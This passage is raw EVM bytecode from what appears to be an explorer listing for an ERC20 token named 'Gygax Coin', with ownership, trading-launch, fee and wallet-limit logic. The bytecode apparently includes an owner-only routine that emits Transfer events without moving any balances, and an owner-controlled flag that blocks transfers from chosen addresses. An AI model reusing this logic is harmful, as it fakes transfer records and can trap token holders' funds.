fffffffffffffffffffffffffffffff1614610f0e57600080fd5b610f1730610c5b565b8111158015610f265750600081115b610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c90612ed9565b60405180910390fd5b610f6e81611e6e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd6573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102761124f565b73ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109361124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612d95565b60405180910390fd5b601760149054906101000a900460ff1615611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612f45565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612fd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90613069565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612675565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906130fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f59061318d565b60405180910390fd5b60008111611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115389061321f565b60405180910390fd5b600061154b610e23565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b95750611589610e23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4d5760006007541180156115d1575060075443115b156115e0576115df846120e7565b5b61161d606461160f600c54600f5410156115fc57600854611600565b600a545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118915743600754036117c857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906132b1565b60405180910390fd5b6009600a6117729190612c45565b6301312d006117819190612c90565b8211156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061331d565b60405180910390fd5b611890565b60115482111561180d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180490613389565b60405180910390fd5b6012548261181a85610c5b565b61182491906133a9565b1115611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185c90613429565b60405180910390fd5b43600160075461187591906133a9565b111561188f57611884836122f3565b1561188e57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611997576012548261194b85610c5b565b61195591906133a9565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d90613429565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6457611a616064611a53600d54600f5411611a4057600954611a44565b600b545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b90505b6000611a6f30610c5b565b9050601760159054906101000a900460ff16158015611adb5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af35750601760169054906101000a900460ff165b8015611b00575060135481115b8015611b0f5750600e54600f54115b15611b4b57611b31611b2c84611b2784601454612306565b612306565b611e6e565b60004790506000811115611b4957611b484761231f565b5b505b505b6000811115611c5157611ba881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c489190612675565b60405180910390a35b611ca382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4a611cfc82846123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611def84866123e990919063ffffffff16565b604051611dfc9190612675565b60405180910390a350505050565b6000838311158290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190612526565b60405180910390fd5b5060008385611e619190613449565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea657611ea56126c1565b5b604051908082528060200260200182016040528015611ed45781602001602082028036833780820191505090505b5090503081600081518110611eec57611eeb612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb79190613492565b81600181518110611fcb57611fca612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120969594939291906135b8565b600060405180830381600087803b1580156120b057600080fd5b505af11580156120c4573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f59190612c45565b64e8d4a510006121059190612c90565b6011819055506009600a6121199190612c45565b64e8d4a510006121299190612c90565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d857600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d757600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122079190612c45565b64e8d4a510006122179190612c90565b6040516122249190612675565b60405180910390a150565b600080830361224157600090506122a3565b6000828461224f9190612c90565b905082848261225e9190613641565b1461229e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612295906136e4565b60405180910390fd5b809150505b92915050565b60006122eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612433565b905092915050565b600080823b905060008111915050919050565b60008183116123155782612317565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080828461239a91906133a9565b9050838110156123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690613750565b60405180910390fd5b8091505092915050565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0a565b905092915050565b6000808311829061247a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124719190612526565b60405180910390fd5b50600083856124899190613641565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d05780820151818401526020810190506124b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f882612496565b61250281856124a1565b93506125128185602086016124b2565b61251b816124dc565b840191505092915050565b6000602082019050818103600083015261254081846124ed565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125878261255c565b9050919050565b6125978161257c565b81146125a257600080fd5b50565b6000813590506125b48161258e565b92915050565b6000819050919050565b6125cd816125ba565b81146125d857600080fd5b50565b6000813590506125ea816125c4565b92915050565b6000806040838503121561260757612606612552565b5b6000612615858286016125a5565b9250506020612626858286016125db565b9150509250929050565b60008115159050919050565b61264581612630565b82525050565b6000602082019050612660600083018461263c565b92915050565b61266f816125ba565b82525050565b600060208201905061268a6000830184612666565b92915050565b61269981612630565b81146126a457600080fd5b50565b6000813590506126b681612690565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6126f9826124dc565b810181811067ffffffffffffffff82111715612718576127176126c1565b5b80604052505050565b600061272b612548565b905061273782826126f0565b919050565b600067ffffffffffffffff821115612757576127566126c1565b5b602082029050602081019050919050565b600080fd5b600061278061277b8461273c565b612721565b905080838252602082019050602084028301858111156127a3576127a2612768565b5b835b818110156127cc57806127b888826125a5565b8452602084019350506020810190506127a5565b5050509392505050565b600082601f8301126127eb576127ea6126bc565b5b81356127fb84826020860161276d565b91505092915050565b6000806040838503121561281b5761281a612552565b5b6000612829858286016126a7565b925050602083013567ffffffffffffffff81111561284a57612849612557565b5b612856858286016127d6565b9150509250929050565b60008060006060848603121561287957612878612552565b5b6000612887868287016125a5565b9350506020612898868287016125a5565b92505060406128a9868287016125db565b9150509250925092565b600080fd5b60008083601f8401126128ce576128cd6126bc565b5b8235905067ffffffffffffffff8111156128eb576128ea6128b3565b5b60208301915083602082028301111561290757612906612768565b5b9250929050565b60008060006040848603121561292757612926612552565b5b600084013567ffffffffffffffff81111561294557612944612557565b5b612951868287016128b8565b93509350506020612964868287016125db565b9150509250925092565b600060ff82169050919050565b6129848161296e565b82525050565b600060208201905061299f600083018461297b565b92915050565b6000602082840312156129bb576129ba612552565b5b60006129c9848285016125a5565b91505092915050565b6000819050919050565b60006129f76129f26129ed8461255c565b6129d2565b61255c565b9050919050565b6000612a09826129dc565b9050919050565b6000612a1b826129fe565b9050919050565b612a2b81612a10565b82525050565b6000602082019050612a466000830184612a22565b92915050565b612a558161257c565b82525050565b6000602082019050612a706000830184612a4c565b92915050565b600060208284031215612a8c57612a8b612552565b5b6000612a9a848285016125db565b91505092915050565b60008060408385031215612aba57612ab9612552565b5b6000612ac8858286016125a5565b9250506020612ad9858286016125a5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6957808604811115612b4557612b44612ae3565b5b6001851615612b545780820291505b8081029050612b6285612b12565b9450612b29565b94509492505050565b600082612b825760019050612c3e565b81612b905760009050612c3e565b8160018114612ba65760028114612bb057612bdf565b6001915050612c3e565b60ff841115612bc257612bc1612ae3565b5b8360020a915084821115612bd957612bd8612ae3565b5b50612c3e565b5060208310610133831016604e8410600b8410161715612c145782820a905083811115612c0f57612c0e612ae3565b5b612c3e565b612c218484846001612b1f565b92509050818404811115612c3857612c37612ae3565b5b81810290505b9392505050565b6000612c50826125ba565b9150612c5b8361296e565b9250612c887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b72565b905092915050565b6000612c9b826125ba565b9150612ca6836125ba565b9250828202612cb4816125ba565b91508282048414831517612ccb57612cca612ae3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d0c826125ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3e57612d3d612ae3565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d7f6020836124a1565b9150612d8a82612d49565b602082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612deb601f836124a1565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e57601b836124a1565b9150612e6282612e21565b602082019050919050565b60006020820190508181036000830152612e8681612e4a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ec3600c836124a1565b9150612ece82612e8d565b602082019050919050565b60006020820190508181036000830152612ef281612eb6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f2f6017836124a1565b9150612f3a82612ef9565b602082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc16024836124a1565b9150612fcc82612f65565b604082019050919050565b60006020820190508181036000830152612ff081612fb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130536022836124a1565b915061305e82612ff7565b604082019050919050565b6000602082019050818103600083015261308281613046565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e56025836124a1565b91506130f082613089565b604082019050919050565b60006020820190508181036000830152613114816130d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131776023836124a1565b91506131828261311b565b604082019050919050565b600060208201905081810360008301526131a68161316a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132096029836124a1565b9150613214826131ad565b604082019050919050565b60006020820190508181036000830152613238816131fc565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b600061329b602b836124a1565b91506132a68261323f565b604082019050919050565b600060208201905081810360008301526132ca8161328e565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613307601a836124a1565b9150613312826132d1565b602082019050919050565b60006020820190508181036000830152613336816132fa565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133736018836124a1565b915061337e8261333d565b602082019050919050565b600060208201905081810360008301526133a281613366565b9050919050565b60006133b4826125ba565b91506133bf836125ba565b92508282019050808211156133d7576133d6612ae3565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613413601a836124a1565b915061341e826133dd565b602082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b6000613454826125ba565b915061345f836125ba565b925082820390508181111561347757613476612ae3565b5b92915050565b60008151905061348c8161258e565b92915050565b6000602082840312156134a8576134a7612552565b5b60006134b68482850161347d565b91505092915050565b6000819050919050565b60006134e46134df6134da846134bf565b6129d2565b6125ba565b9050919050565b6134f4816134c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352f8161257c565b82525050565b60006135418383613526565b60208301905092915050565b6000602082019050919050565b6000613565826134fa565b61356f8185613505565b935061357a83613516565b8060005b838110156135ab5781516135928882613535565b975061359d8361354d565b92505060018101905061357e565b5085935050505092915050565b600060a0820190506135cd6000830188612666565b6135da60208301876134eb565b81810360408301526135ec818661355a565b90506135fb6060830185612a4c565b6136086080830184612666565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061364c826125ba565b9150613657836125ba565b92508261366757613666613612565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136ce6021836124a1565b91506136d982613672565b604082019050919050565b600060208201905081810360008301526136fd816136c1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061373a601b836124a1565b915061374582613704565b602082019050919050565b600060208201905081810360008301526137698161372d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208011271cb71502cf50d90ddd14cdc0d00e180fd189c81ff3951aeab9187687a364736f6c63430008130033000000000000000000000000d58cccae59358d88bd7b3f96e58f61c50120d9af

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b8063715018a61461045c5780637d1db4a5146104735780638bdb2afa1461049e576101cd565b8063313ce567116101645780633ef947211161013e5780633ef947211461038c578063418c2fc3146103b757806353868490146103f457806370a082311461041f576101cd565b8063313ce5671461031f5780633b7cdccd1461034a5780633ccfd60b14610375576101cd565b806318160ddd116101a057806318160ddd146102655780631b372bbd1461029057806323b872dd146102b957806326ededb8146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612526565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f0565b610716565b604051610231919061264b565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612675565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612675565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612804565b61075f565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612860565b61085b565b6040516102ed919061264b565b60405180910390f35b34801561030257600080fd5b5061031d6004803603810190610318919061290e565b610934565b005b34801561032b57600080fd5b50610334610a6a565b604051610341919061298a565b60405180910390f35b34801561035657600080fd5b5061035f610a73565b60405161036c9190612675565b60405180910390f35b34801561038157600080fd5b5061038a610a79565b005b34801561039857600080fd5b506103a1610bf7565b6040516103ae9190612675565b60405180910390f35b3480156103c357600080fd5b506103de60048036038101906103d991906129a5565b610bfd565b6040516103eb919061264b565b60405180910390f35b34801561040057600080fd5b50610409610c53565b6040516104169190612675565b60405180910390f35b34801561042b57600080fd5b50610446600480360381019061044191906129a5565b610c5b565b6040516104539190612675565b60405180910390f35b34801561046857600080fd5b50610471610ca4565b005b34801561047f57600080fd5b50610488610df7565b6040516104959190612675565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfd565b6040516104c09190612a31565b60405180910390f35b3480156104d557600080fd5b506104de610e23565b6040516104eb9190612a5b565b60405180910390f35b34801561050057600080fd5b50610509610e4c565b6040516105169190612675565b60405180910390f35b34801561052b57600080fd5b50610534610e52565b6040516105419190612526565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125f0565b610e8f565b60405161057e919061264b565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a76565b610ead565b005b3480156105bc57600080fd5b506105c5610fda565b6040516105d29190612675565b60405180910390f35b3480156105e757600080fd5b506105f0610fe0565b6040516105fd9190612675565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906129a5565b610fe6565b005b34801561063b57600080fd5b5061064461108b565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aa3565b6111af565b60405161067a9190612675565b60405180910390f35b34801561068f57600080fd5b50610698611236565b6040516106a59190612675565b60405180910390f35b3480156106ba57600080fd5b506106c361123c565b6040516106d0919061264b565b60405180910390f35b60606040518060400160405280600a81526020017f477967617820436f696e00000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c45565b64e8d4a5100061075a9190612c90565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107a061124f565b73ffffffffffffffffffffffffffffffffffffffff16146107c057600080fd5b60005b81518110156108565760008282815181106107e1576107e0612cd2565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061084d90612d01565b925050506107c3565b505050565b6000610868848484611420565b6109298461087461124f565b6109248560405180606001604052806028815260200161377160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108da61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0a9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661097561124f565b73ffffffffffffffffffffffffffffffffffffffff161461099557600080fd5b60005b83839050811015610a64578383828181106109b6576109b5612cd2565b5b90506020020160208101906109cb91906129a5565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a499190612675565b60405180910390a38080610a5c90612d01565b915050610998565b50505050565b60006009905090565b60085481565b610a8161124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590612d95565b60405180910390fd5b601760149054906101000a900460ff1615610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5590612e01565b60405180910390fd5b600047905060008111610ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9d90612e6d565b60405180910390fd5b610bae610e23565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610bf3573d6000803e3d6000fd5b5050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cac61124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090612d95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4759474158000000000000000000000000000000000000000000000000000000815250905090565b6000610ea3610e9c61124f565b8484611420565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eee61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610f0e57600080fd5b610f1730610c5b565b8111158015610f265750600081115b610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c90612ed9565b60405180910390fd5b610f6e81611e6e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd6573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102761124f565b73ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109361124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612d95565b60405180910390fd5b601760149054906101000a900460ff1615611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612f45565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612fd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90613069565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612675565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906130fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f59061318d565b60405180910390fd5b60008111611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115389061321f565b60405180910390fd5b600061154b610e23565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b95750611589610e23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4d5760006007541180156115d1575060075443115b156115e0576115df846120e7565b5b61161d606461160f600c54600f5410156115fc57600854611600565b600a545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118915743600754036117c857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906132b1565b60405180910390fd5b6009600a6117729190612c45565b6301312d006117819190612c90565b8211156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061331d565b60405180910390fd5b611890565b60115482111561180d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180490613389565b60405180910390fd5b6012548261181a85610c5b565b61182491906133a9565b1115611865576040517f